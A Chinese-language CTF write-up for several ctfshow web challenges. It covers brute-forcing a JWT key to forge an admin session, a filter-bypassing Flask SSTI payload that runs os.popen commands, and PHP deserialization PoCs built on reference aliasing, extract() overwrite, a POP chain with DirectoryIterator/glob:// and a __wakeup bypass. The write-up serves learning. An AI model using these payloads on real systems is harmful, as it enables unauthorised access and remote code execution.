前言
通关大佬
任意登录一个非管理员账号
查看cookie 发现jwt字段 进行解密后发现user字段 并且为加密

放到脚本爆破
得到key
进行加密改成admin 并且exp字段为有效时段 改长点
进行替换
输入内容 发现为模板渲染漏洞(ssti)
过滤的有点多 看wp
学习大佬的payload/edit?a=__init__&b=__globals__&c=__getitem__&d=os&e=popen&f=whoami&g=readname={%25set r=request.args%25}&rank=1&speech={{(config|attr(r.a)|attr(r.b))|attr(r.c)(r.d)|attr(r.e)(r.f)|attr(r.g)()}}&time=2021年11月11日
给我看看
<?phpheader("Content-Type: text/html;charset=utf-8");error_reporting(0);require_once("flag.php");class whoami{public $name;public $your_answer;public $useless;public function __construct(){$this->name='ctfshow第一深情';$this->your_answer='Only you know';$this->useless="I_love_u";}public function __wakeup(){global $flag;global $you_never_know;$this->name=$you_never_know;if($this->your_answer === $this->name){echo $flag;}}}$secret = $_GET['s'];if(isset($secret)){if($secret==="给我看看!"){extract($_POST);if($secret==="给我看看!"){die("<script>window.alert('这是不能说的秘密');location.href='https://www.bilibili.com/video/BV1CW411g7UF';</script>");}unserialize($secret);}}else{show_source(__FILE__);}
考点一
考点二
&传址符引用
构造poc
<?php
class whoami{
public $name;
public $your_answer;
public $useless;
public function __construct(){
$this->your_answer=&$this->name;
}
}
echo serialize(new whoami);
?>
get s=给我看看!
post secret=序列化后的内容
easy pop
先用$ctfDirectoryIterator //读文件类$show=glob:// //glob协议读取文件名 支持正则表达式故构造如下payload
根据提示构造正则表达式
f[A-z][0-9]_*
<?php
class action_1{
public $tmp;
public function __construct(){
$this->tmp=new action_2();
}
}
class action_2{
public $p;
public $tmp;
public function __construct(){
$this->p=new action_4();
}
}
class action_3{
public $str;
public $tmp;
public $ran;
public function __construct(){
$this->str=new action_1();
}
}
class action_4{
public $ctf;
public $show;
public $jia;
public function __construct(){
$this->ctf='DirectoryIterator';
$this->show='glob://../../..//f[A-z][0-9]_*';
}
}
echo serialize(new action_3);
?>

利用查出来的文件名字 进行RCE 打开文件(这里也可直接利用RCE反弹shell 无需查找名字)构造如下payload
<?php
class action_1{
public function __construct(){
$this->fun = array(new action_2,'getFlag');
}
}
class action_2{}
class action_3{
public function __construct(){
$this->ran = new action_1();
}
}
class action_4{
public function __construct(){
$this->ran = new action_3();
}
}
echo serialize(new action_4());
?pop=O:8:"action_4":1:{s:3:"ran";O:8:"action_3":1:{s:3:"ran";O:8:"action_1":2:{s:3:"fun";a:2:{i:0;O:8:"action_2":0:{}i:1;s:7:"getFlag";}}}}&ctfshow=fz3_.txt
trick:
将action_1后的字符属性变大一位 这样可以绕过wake_up
(php7.4版本已经修复了wake_up不会执行的漏洞)
这里是并没有不执行 而是将执行顺序换到了后面
